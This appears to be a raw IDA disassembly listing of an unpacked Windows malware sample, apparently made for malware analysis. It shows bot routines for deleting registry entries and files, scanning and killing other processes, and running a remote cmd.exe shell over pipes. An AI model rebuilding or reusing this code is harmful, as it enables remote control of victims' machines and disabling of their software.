; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : DADD26AF16ABA33A0D10C2EE8C31583A ; File Name : u:\work\dadd26af16aba33a0d10c2ee8c31583a_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0001F000 ( 126976.) ; Section size in file : 0001F000 ( 126976.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write cAddress segment para public 'DATA' use32 assume cs:cAddress ;org 401000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401146+31p ; sub_401146+43p ... var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = byte ptr -260h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = byte ptr -218h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 268h and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_40101A ; --------------------------------------------------------------------------- loc_401013: ; CODE XREF: sub_401000+13Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40101A: ; CODE XREF: sub_401000+11j mov eax, [ebp+var_4] cmp off_418000[eax*4], 0 jz loc_401141 mov eax, [ebp+var_4] push off_418000[eax*4] lea eax, [ebp+var_260] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_260] push eax call sub_4105FB pop ecx lea eax, [ebp+var_110] push eax push 3 push 0 lea eax, [ebp+var_260] push eax push [ebp+arg_0] call dword_417008 ; RegOpenKeyExA and [ebp+var_220], 0 jmp short loc_401081 ; --------------------------------------------------------------------------- loc_401074: ; CODE XREF: sub_401000:loc_40112Bj mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_401081: ; CODE XREF: sub_401000+72j mov [ebp+var_21C], 104h mov [ebp+var_224], 104h lea eax, [ebp+var_224] push eax lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_114] push eax push 0 lea eax, [ebp+var_21C] push eax lea eax, [ebp+var_218] push eax push [ebp+var_220] push [ebp+var_110] call dword_417000 ; RegEnumValueA mov [ebp+var_264], eax cmp [ebp+var_264], 0 jz short loc_4010DD jmp short loc_401130 ; --------------------------------------------------------------------------- loc_4010DD: ; CODE XREF: sub_401000+D9j cmp [ebp+var_114], 1 jnz short loc_40112B push [ebp+arg_4] push [ebp+var_224] lea eax, [ebp+var_10C] push eax call sub_407ACA add esp, 0Ch mov [ebp+var_268], eax cmp [ebp+var_268], 0 jz short loc_40112B lea eax, [ebp+var_218] push eax push [ebp+var_110] call dword_417004 ; RegDeleteValueA test eax, eax jnz short loc_40112B mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40112B: ; CODE XREF: sub_401000+E4j ; sub_401000+10Bj ... jmp loc_401074 ; --------------------------------------------------------------------------- loc_401130: ; CODE XREF: sub_401000+DBj push [ebp+var_110] call dword_417028 ; RegCloseKey jmp loc_401013 ; --------------------------------------------------------------------------- loc_401141: ; CODE XREF: sub_401000+25j mov eax, [ebp+var_8] leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401146 proc near ; CODE XREF: cAddress:0040169Dp ; sub_40A9CF+A72p var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push 80h push [ebp+arg_0] call dword_4170A8 ; SetFileAttributesA test eax, eax jnz short loc_401166 jmp locret_401242 ; --------------------------------------------------------------------------- loc_401166: ; CODE XREF: sub_401146+19j push [ebp+arg_0] call dword_4170AC ; DeleteFileA push [ebp+arg_0] push 80000001h call sub_401000 pop ecx pop ecx mov [ebp+var_4], eax push [ebp+arg_0] push 80000002h call sub_401000 pop ecx pop ecx mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jnz locret_401242 push 104h push [ebp+arg_0] lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_108] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_10C], eax jmp short loc_4011DB ; --------------------------------------------------------------------------- loc_4011CE: ; CODE XREF: sub_401146:loc_40121Aj mov eax, [ebp+var_10C] dec eax mov [ebp+var_10C], eax loc_4011DB: ; CODE XREF: sub_401146+86j cmp [ebp+var_10C], 0 jz short loc_40121C mov eax, [ebp+arg_0] add eax, [ebp+var_10C] movsx eax, byte ptr [eax-1] cmp eax, 5Ch jnz short loc_40121A push 104h mov eax, [ebp+var_10C] lea eax, [ebp+eax+var_108] push eax lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch jmp short loc_40121C ; --------------------------------------------------------------------------- loc_40121A: ; CODE XREF: sub_401146+AEj jmp short loc_4011CE ; --------------------------------------------------------------------------- loc_40121C: ; CODE XREF: sub_401146+9Cj ; sub_401146+D2j lea eax, [ebp+var_108] push eax push 80000001h call sub_401000 pop ecx pop ecx lea eax, [ebp+var_108] push eax push 80000002h call sub_401000 pop ecx pop ecx locret_401242: ; CODE XREF: sub_401146+1Bj ; sub_401146+56j leave retn sub_401146 endp ; --------------------------------------------------------------------------- loc_401244: ; DATA XREF: sub_4017AA+9Do push ebp mov ebp, esp sub esp, 3E8h push esi push edi push 2ACh push dword ptr [ebp+8] lea eax, [ebp-2ACh] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx movzx eax, byte ptr [ebp-2A8h] test eax, eax jz short loc_40129D lea eax, [ebp-2A3h] push eax mov eax, [ebp-2ACh] push dword ptr [eax] push offset dword_418144 lea eax, [ebp-1A3h] push eax call sub_40D53F add esp, 10h loc_40129D: ; CODE XREF: cAddress:00401278j call sub_406041 mov [ebp-2B4h], eax cmp dword ptr [ebp-2B4h], 0 jnz short loc_4012C4 push dword ptr [ebp-2ACh] call sub_409763 pop ecx xor eax, eax jmp loc_4017A4 ; --------------------------------------------------------------------------- loc_4012C4: ; CODE XREF: cAddress:004012AFj push 10000h call sub_416B46 ; malloc pop ecx mov [ebp-2B8h], eax and dword ptr [ebp-2BCh], 0 and dword ptr [ebp-2B0h], 0 jmp short loc_4012F2 ; --------------------------------------------------------------------------- loc_4012E5: ; CODE XREF: cAddress:00401326j ; cAddress:0040136Fj ... mov eax, [ebp-2B0h] inc eax mov [ebp-2B0h], eax loc_4012F2: ; CODE XREF: cAddress:004012E3j mov eax, [ebp-2B4h] mov ecx, [ebp-2B0h] cmp ecx, [eax] jge loc_401710 mov esi, [ebp-2B0h] imul esi, 114h mov eax, [ebp-2B4h] mov edi, [eax+4] call dword_4170E8 ; GetCurrentProcessId cmp [edi+esi], eax jnz short loc_401328 jmp short loc_4012E5 ; --------------------------------------------------------------------------- loc_401328: ; CODE XREF: cAddress:00401324j push 104h lea eax, [ebp-3CCh] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA mov eax, [ebp-2B0h] imul eax, 114h mov ecx, [ebp-2B4h] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp-3CCh] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_401374 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401374: ; CODE XREF: cAddress:0040136Dj mov eax, [ebp-2B0h] imul eax, 114h mov ecx, [ebp-2B4h] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 movzx eax, byte ptr [ebp-2A8h] neg eax sbb eax, eax add eax, 11h push eax call dword_417094 ; OpenProcess mov [ebp-2C4h], eax cmp dword ptr [ebp-2C4h], 0 jnz short loc_4013B7 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_4013B7: ; CODE XREF: cAddress:004013B0j and dword ptr [ebp-2C0h], 0 and dword ptr [ebp-2C8h], 0 loc_4013C5: ; CODE XREF: cAddress:loc_4016FAj mov eax, [ebp-2B0h] imul eax, 114h mov ecx, [ebp-2B4h] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp-2C0h] cmp eax, 10000h jbe short loc_4013F7 mov dword ptr [ebp-3E8h], 10000h jmp short loc_40141C ; --------------------------------------------------------------------------- loc_4013F7: ; CODE XREF: cAddress:004013E9j mov eax, [ebp-2B0h] imul eax, 114h mov ecx, [ebp-2B4h] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp-2C0h] mov [ebp-3E8h], eax loc_40141C: ; CODE XREF: cAddress:004013F5j mov eax, [ebp-3E8h] mov [ebp-3D0h], eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-3D0h] push dword ptr [ebp-2B8h] mov eax, [ebp-2B0h] imul eax, 114h mov ecx, [ebp-2B4h] mov ecx, [ecx+4] mov eax, [ecx+eax+4] add eax, [ebp-2C0h] push eax push dword ptr [ebp-2C4h] call dword_417098 ; ReadProcessMemory mov [ebp-3D4h], eax cmp dword ptr [ebp-3D4h], 0 jz loc_4016C5 cmp dword ptr [ebp-2C8h], 0 jz loc_4016C5 and dword ptr [ebp-3D8h], 0 and dword ptr [ebp-3DCh], 0 loc_401495: ; DATA XREF: cAddress:0041AD00o jmp short loc_4014A4 ; --------------------------------------------------------------------------- loc_401497: ; CODE XREF: cAddress:loc_4015DBj mov eax, [ebp-3DCh] inc eax mov [ebp-3DCh], eax loc_4014A4: ; CODE XREF: cAddress:loc_401495j mov eax, [ebp-2C8h] sub eax, [ebp-2A7h] cmp [ebp-3DCh], eax ja loc_4015E0 mov eax, [ebp-2B8h] add eax, [ebp-3DCh] movsx eax, byte ptr [eax] movsx ecx, byte ptr [ebp-2A3h] cmp eax, ecx jz short loc_401514 mov eax, [ebp-2B8h] add eax, [ebp-3DCh] movsx eax, byte ptr [eax] movsx ecx, byte ptr [ebp-2A3h] add ecx, 20h cmp eax, ecx jz short loc_401514 mov eax, [ebp-2B8h] add eax, [ebp-3DCh] movsx eax, byte ptr [eax] movsx ecx, byte ptr [ebp-2A3h] sub ecx, 20h cmp eax, ecx jnz loc_4015DB loc_401514: ; CODE XREF: cAddress:004014D4j ; cAddress:004014F1j mov dword ptr [ebp-3E0h], 1 jmp short loc_40152D ; --------------------------------------------------------------------------- loc_401520: ; CODE XREF: cAddress:loc_4015D6j mov eax, [ebp-3E0h] inc eax mov [ebp-3E0h], eax loc_40152D: ; CODE XREF: cAddress:0040151Ej mov eax, [ebp-3E0h] movsx eax, byte ptr [ebp+eax-2A3h] test eax, eax jnz short loc_401556 mov eax, [ebp-2B8h] add eax, [ebp-3DCh] mov [ebp-3D8h], eax jmp loc_40179F ; --------------------------------------------------------------------------- loc_401556: ; CODE XREF: cAddress:0040153Dj mov eax, [ebp-3E0h] movsx eax, byte ptr [ebp+eax-2A3h] mov ecx, [ebp-3DCh] add ecx, [ebp-3E0h] mov edx, [ebp-2B8h] movsx ecx, byte ptr [edx+ecx] cmp eax, ecx jz short loc_4015D6 mov eax, [ebp-3E0h] movsx eax, byte ptr [ebp+eax-2A3h] mov ecx, [ebp-3DCh] add ecx, [ebp-3E0h] mov edx, [ebp-2B8h] movsx ecx, byte ptr [edx+ecx] add ecx, 20h cmp eax, ecx jz short loc_4015D6 mov eax, [ebp-3E0h] movsx eax, byte ptr [ebp+eax-2A3h] mov ecx, [ebp-3DCh] add ecx, [ebp-3E0h] mov edx, [ebp-2B8h] movsx ecx, byte ptr [edx+ecx] sub ecx, 20h cmp eax, ecx jz short loc_4015D6 jmp short loc_4015DB ; --------------------------------------------------------------------------- loc_4015D6: ; CODE XREF: cAddress:0040157Cj ; cAddress:004015A7j ... jmp loc_401520 ; --------------------------------------------------------------------------- loc_4015DB: ; CODE XREF: cAddress:0040150Ej ; cAddress:004015D4j jmp loc_401497 ; --------------------------------------------------------------------------- loc_4015E0: ; CODE XREF: cAddress:004014B6j ; cAddress:loc_40179Fj cmp dword ptr [ebp-3D8h], 0 jz loc_4016C5 mov eax, [ebp-2BCh] inc eax mov [ebp-2BCh], eax movzx eax, byte ptr [ebp-2A8h] test eax, eax jz short loc_401675 push 3E8h call dword_41709C ; Sleep mov al, [ebp-0Bh] mov [ebp-3E4h], al and byte ptr [ebp-0Bh], 0 mov eax, [ebp-2B0h] imul eax, 114h mov ecx, [ebp-2B4h] mov ecx, [ecx+4] push dword ptr [ecx+eax] mov eax, [ebp-2B0h] imul eax, 114h mov ecx, [ebp-2B4h] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp-2A3h] push eax push offset dword_41811C lea eax, [ebp-1A3h] push eax call sub_40D53F add esp, 14h mov al, [ebp-3E4h] mov [ebp-0Bh], al jmp short loc_4016A3 ; --------------------------------------------------------------------------- loc_401675: ; CODE XREF: cAddress:00401603j push 0 push dword ptr [ebp-2C4h] call dword_4170A0 ; TerminateProcess mov eax, [ebp-2B0h] imul eax, 114h mov ecx, [ebp-2B4h] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_401146 pop ecx loc_4016A3: ; CODE XREF: cAddress:00401673j mov eax, [ebp-2ACh] cmp dword ptr [eax+4], 0 jz short loc_4016C0 push dword ptr [ebp-2C4h] call dword_4170A4 ; CloseHandle jmp loc_40179A ; --------------------------------------------------------------------------- loc_4016C0: ; CODE XREF: cAddress:004016ADj jmp loc_401795 ; --------------------------------------------------------------------------- loc_4016C5: ; CODE XREF: cAddress:00401474j ; cAddress:00401481j ... mov eax, [ebp-2C0h] add eax, [ebp-3D0h] mov [ebp-2C0h], eax mov eax, [ebp-2B0h] imul eax, 114h mov ecx, [ebp-2B4h] mov ecx, [ecx+4] mov edx, [ebp-2C0h] cmp edx, [ecx+eax+8] jnz short loc_4016FA jmp short loc_4016FF ; --------------------------------------------------------------------------- loc_4016FA: ; CODE XREF: cAddress:004016F6j jmp loc_4013C5 ; --------------------------------------------------------------------------- loc_4016FF: ; CODE XREF: cAddress:004016F8j ; cAddress:loc_401795j push dword ptr [ebp-2C4h] call dword_4170A4 ; CloseHandle jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401710: ; CODE XREF: cAddress:00401300j ; cAddress:loc_40179Aj push dword ptr [ebp-2B4h] call sub_40636E pop ecx push dword ptr [ebp-2B8h] call sub_416B4C ; free pop ecx movzx eax, byte ptr [ebp-2A8h] test eax, eax jz short loc_401785 push 3E8h call dword_41709C ; Sleep cmp dword ptr [ebp-2BCh], 0 jnz short loc_401764 lea eax, [ebp-2A3h] push eax push offset dword_4180F8 lea eax, [ebp-1A3h] push eax call sub_40D53F add esp, 0Ch jmp short loc_401785 ; --------------------------------------------------------------------------- loc_401764: ; CODE XREF: cAddress:00401745j lea eax, [ebp-2A3h] push eax push dword ptr [ebp-2BCh] push offset dword_4180CC lea eax, [ebp-1A3h] push eax call sub_40D53F add esp, 10h loc_401785: ; CODE XREF: cAddress:00401731j ; cAddress:00401762j push dword ptr [ebp-2ACh] call sub_409763 pop ecx xor eax, eax jmp short loc_4017A4 ; --------------------------------------------------------------------------- loc_401795: ; CODE XREF: cAddress:loc_4016C0j jmp loc_4016FF ; --------------------------------------------------------------------------- loc_40179A: ; CODE XREF: cAddress:004016BBj jmp loc_401710 ; --------------------------------------------------------------------------- loc_40179F: ; CODE XREF: cAddress:00401551j jmp loc_4015E0 ; --------------------------------------------------------------------------- loc_4017A4: ; CODE XREF: cAddress:004012BFj ; cAddress:00401793j pop edi pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017AA proc near ; CODE XREF: sub_40A9CF+AA1p ; sub_40A9CF+AD2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_4017C2 push [ebp+arg_4] call sub_416B40 ; strlen pop ecx test eax, eax jnz short loc_4017C7 loc_4017C2: ; CODE XREF: sub_4017AA+9j jmp locret_401854 ; --------------------------------------------------------------------------- loc_4017C7: ; CODE XREF: sub_4017AA+16j push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4017DD jmp short locret_401854 ; --------------------------------------------------------------------------- loc_4017DD: ; CODE XREF: sub_4017AA+2Fj mov eax, [ebp+var_4] mov cl, [ebp+arg_8] mov [eax+4], cl push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_4] mov [ecx+5], eax push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 9 push eax call sub_416B58 ; strncpy add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 109h push eax call sub_405F67 pop ecx pop ecx movzx eax, [ebp+arg_8] test eax, eax jz short loc_401830 mov [ebp+var_8], offset aListing ; "Listing" jmp short loc_401837 ; --------------------------------------------------------------------------- loc_401830: ; CODE XREF: sub_4017AA+7Bj mov [ebp+var_8], offset aKilling ; "Killing" loc_401837: ; CODE XREF: sub_4017AA+84j push [ebp+arg_4] push [ebp+var_8] push offset dword_418174 push 0 push [ebp+var_4] push offset loc_401244 call sub_4095A4 add esp, 18h locret_401854: ; CODE XREF: sub_4017AA:loc_4017C2j ; sub_4017AA+31j leave retn sub_4017AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401856 proc near ; CODE XREF: cAddress:00401A29p ; cAddress:00401A62p ... push ebp mov ebp, esp cmp dword_41DDF4, 0FFFFFFFFh jz short loc_40186E push dword_41DDF4 call dword_4170A4 ; CloseHandle loc_40186E: ; CODE XREF: sub_401856+Aj cmp dword_41DDE8, 0FFFFFFFFh jz short loc_401883 push dword_41DDE8 call dword_4170A4 ; CloseHandle loc_401883: ; CODE XREF: sub_401856+1Fj cmp dword_41DDEC, 0FFFFFFFFh jz short loc_401898 push dword_41DDEC call dword_4170A4 ; CloseHandle loc_401898: ; CODE XREF: sub_401856+34j cmp dword_41DDF0, 0FFFFFFFFh jz short loc_4018AD push dword_41DDF0 call dword_4170A4 ; CloseHandle loc_4018AD: ; CODE XREF: sub_401856+49j pop ebp retn sub_401856 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018AF proc near ; CODE XREF: cAddress:00401C0Bp ; cAddress:00401D16p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 200h mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jnz short loc_4018D4 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401922 loc_4018D4: ; CODE XREF: sub_4018AF+15j ; sub_4018AF:loc_401920j push 32h call dword_41709C ; Sleep mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jz short loc_4018FE call sub_416B64 ; clock sub eax, dword_41DDFC cmp eax, 1F4h jb short loc_4018FE jmp short loc_401922 ; --------------------------------------------------------------------------- loc_4018FE: ; CODE XREF: sub_4018AF+39j ; sub_4018AF+4Bj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401920 call sub_416B64 ; clock sub eax, dword_41DDFC cmp eax, 0FAh jb short loc_401920 jmp short loc_401922 ; --------------------------------------------------------------------------- loc_401920: ; CODE XREF: sub_4018AF+5Bj ; sub_4018AF+6Dj jmp short loc_4018D4 ; --------------------------------------------------------------------------- loc_401922: ; CODE XREF: sub_4018AF+23j ; sub_4018AF+4Dj ... call sub_416B64 ; clock mov dword_41DDFC, eax mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_401942 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_401957 loc_401942: ; CODE XREF: sub_4018AF+86j push offset dword_4181A4 lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx jmp short loc_40196E ; --------------------------------------------------------------------------- loc_401957: ; CODE XREF: sub_4018AF+91j push 200h push [ebp+arg_4] lea eax, [ebp+var_200] push eax call sub_407A56 add esp, 0Ch loc_40196E: ; CODE XREF: sub_4018AF+A6j lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_40D53F pop ecx pop ecx leave retn sub_4018AF endp ; --------------------------------------------------------------------------- loc_401981: ; DATA XREF: sub_401D6E+88o push ebp mov ebp, esp sub esp, 730h push 3A7h push dword ptr [ebp+8] lea eax, [ebp-714h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx call sub_416B64 ; clock sub eax, 1F4h mov dword_41DDFC, eax push 0 lea eax, [ebp-30Ch] push eax push 104h push 0 push offset aCmd_exe ; "cmd.exe" push 0 call dword_41706C ; SearchPathA test eax, eax jnz short loc_4019ED push dword ptr [ebp-714h] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_4019ED: ; CODE XREF: cAddress:004019D8j mov dword ptr [ebp-318h], 0Ch mov dword ptr [ebp-310h], 1 and dword ptr [ebp-314h], 0 push 0 lea eax, [ebp-318h] push eax lea eax, [ebp-368h] push eax lea eax, [ebp-364h] push eax call dword_417070 ; CreatePipe test eax, eax jnz short loc_401A41 call sub_401856 push dword ptr [ebp-714h] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A41: ; CODE XREF: cAddress:00401A27j push 0 lea eax, [ebp-318h] push eax lea eax, [ebp-36Ch] push eax lea eax, [ebp-728h] push eax call dword_417070 ; CreatePipe test eax, eax jnz short loc_401A7A call sub_401856 push dword ptr [ebp-714h] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A7A: ; CODE XREF: cAddress:00401A60j push 3 push 0 push 0 push offset dword_41DDF0 call dword_417074 ; GetCurrentProcess push eax push dword ptr [ebp-36Ch] call dword_417074 ; GetCurrentProcess push eax call dword_4170F0 ; DuplicateHandle test eax, eax jnz short loc_401ABB call sub_401856 push dword ptr [ebp-714h] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401ABB: ; CODE XREF: cAddress:00401AA1j push 10h push 0 lea eax, [ebp-724h] push eax call sub_416B6A ; memset add esp, 0Ch push 44h push 0 lea eax, [ebp-360h] push eax call sub_416B6A ; memset add esp, 0Ch mov dword ptr [ebp-360h], 44h mov dword ptr [ebp-334h], 101h and word ptr [ebp-330h], 0 mov eax, [ebp-728h] mov [ebp-328h], eax mov eax, [ebp-368h] mov [ebp-324h], eax mov eax, [ebp-368h] mov [ebp-320h], eax lea eax, [ebp-724h] push eax lea eax, [ebp-360h] push eax push 0 push 0 push 0 push 1 push 0 push 0 push offset byte_41DE00 lea eax, [ebp-30Ch] push eax call dword_41707C ; CreateProcessA test eax, eax jnz short loc_401B69 call sub_401856 push dword ptr [ebp-714h] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401B69: ; CODE XREF: cAddress:00401B4Fj push dword ptr [ebp-728h] call dword_4170A4 ; CloseHandle mov eax, [ebp-364h] mov dword_41DDF4, eax mov eax, [ebp-36Ch] mov dword_41DDE8, eax mov eax, [ebp-724h] mov dword_41DDEC, eax push dword ptr [ebp-720h] call dword_4170A4 ; CloseHandle and dword ptr [ebp-4], 0 and dword ptr [ebp-208h], 0 loc_401BAD: ; CODE XREF: cAddress:00401C6Aj ; cAddress:00401D1Dj mov eax, [ebp-714h] cmp dword ptr [eax+4], 0 jz short loc_401BBE jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401BBE: ; CODE XREF: cAddress:00401BB7j and dword ptr [ebp-208h], 0 push 200h push 0 lea eax, [ebp-204h] push eax call sub_416B6A ; memset add esp, 0Ch push 0 push 0 lea eax, [ebp-4] push eax push 200h lea eax, [ebp-204h] push eax push dword_41DDF4 call dword_417080 ; PeekNamedPipe test eax, eax jnz short loc_401C17 push offset aCouldNotReadDa ; "Could not read data from process." lea eax, [ebp-510h] push eax call sub_4018AF pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C17: ; CODE XREF: cAddress:00401BFDj cmp dword ptr [ebp-4], 0 jnz short loc_401C6F mov dword ptr [ebp-730h], 103h lea eax, [ebp-730h] push eax push dword_41DDEC call dword_417084 ; GetExitCodeProcess test eax, eax jz short loc_401C62 cmp dword ptr [ebp-730h], 103h jz short loc_401C62 push offset aCmd_exeProcess ; "Cmd.exe process has terminated." lea eax, [ebp-510h] push eax call sub_40D53F pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C62: ; CODE XREF: cAddress:00401C3Cj ; cAddress:00401C48j push 0Ah call dword_41709C ; Sleep jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401C6F: ; CODE XREF: cAddress:00401C1Bj and dword ptr [ebp-72Ch], 0 jmp short loc_401C85 ; --------------------------------------------------------------------------- loc_401C78: ; CODE XREF: cAddress:loc_401CAFj mov eax, [ebp-72Ch] inc eax mov [ebp-72Ch], eax loc_401C85: ; CODE XREF: cAddress:00401C76j mov eax, [ebp-72Ch] cmp eax, [ebp-4] jnb short loc_401CB1 mov eax, [ebp-72Ch] movsx eax, byte ptr [ebp+eax-204h] cmp eax, 0Ah jnz short loc_401CAF mov dword ptr [ebp-208h], 1 jmp short loc_401CB1 ; --------------------------------------------------------------------------- loc_401CAF: ; CODE XREF: cAddress:00401CA1j jmp short loc_401C78 ; --------------------------------------------------------------------------- loc_401CB1: ; CODE XREF: cAddress:00401C8Ej ; cAddress:00401CADj cmp dword ptr [ebp-208h], 0 jz short loc_401CC6 mov eax, [ebp-72Ch] inc eax mov [ebp-4], eax jmp short loc_401CCD ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: cAddress:00401CB8j mov dword ptr [ebp-4], 200h loc_401CCD: ; CODE XREF: cAddress:00401CC4j push 200h push 0 lea eax, [ebp-204h] push eax call sub_416B6A ; memset add esp, 0Ch push 0 lea eax, [ebp-31Ch] push eax push dword ptr [ebp-4] lea eax, [ebp-204h] push eax push dword_41DDF4 call dword_417088 ; ReadFile test eax, eax jnz short loc_401D08 jmp short loc_401D22 ; --------------------------------------------------------------------------- loc_401D08: ; CODE XREF: cAddress:00401D04j lea eax, [ebp-204h] push eax lea eax, [ebp-510h] push eax call sub_4018AF pop ecx pop ecx jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401D22: ; CODE XREF: cAddress:00401BB9j ; cAddress:00401C12j ... call sub_401856 push dword ptr [ebp-714h] call sub_409763 pop ecx xor eax, eax locret_401D35: ; CODE XREF: cAddress:004019E8j ; cAddress:00401A3Cj ... leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D39 proc near ; CODE XREF: sub_401D6E+AFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push eax push [ebp+var_4] push [ebp+arg_0] push dword_41DDF0 call dword_417068 ; WriteFile test eax, eax jnz short loc_401D69 xor eax, eax jmp short locret_401D6C ; --------------------------------------------------------------------------- loc_401D69: ; CODE XREF: sub_401D39+2Aj push 1 pop eax locret_401D6C: ; CODE XREF: sub_401D39+2Ej leave retn sub_401D39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D6E proc near ; CODE XREF: sub_40A9CF+14A0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_401DA6 cmp [ebp+arg_4], 0 jnz short loc_401D8B jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401D8B: ; CODE XREF: sub_401D6E+16j push 0 push 0 push 0 push [ebp+arg_4] push offset aOpen ; "open" push 0 call dword_4171D0 jmp locret_401E36 ; --------------------------------------------------------------------------- loc_401DA6: ; CODE XREF: sub_401D6E+10j push 3A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_401DBC jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401DBC: ; CODE XREF: sub_401D6E+4Aj cmp [ebp+arg_4], 0 jz short loc_401DD9 push 200h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch loc_401DD9: ; CODE XREF: sub_401D6E+52j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 204h push eax call sub_405F67 pop ecx pop ecx push offset aRemoteCmdThrea ; "Remote cmd thread" push 1 push [ebp+var_4] push offset loc_401981 call sub_4095A4 add esp, 10h cmp [ebp+arg_4], 0 jnz short loc_401E0B jmp short locret_401E36 ; --------------------------------------------------------------------------- loc_401E0B: ; 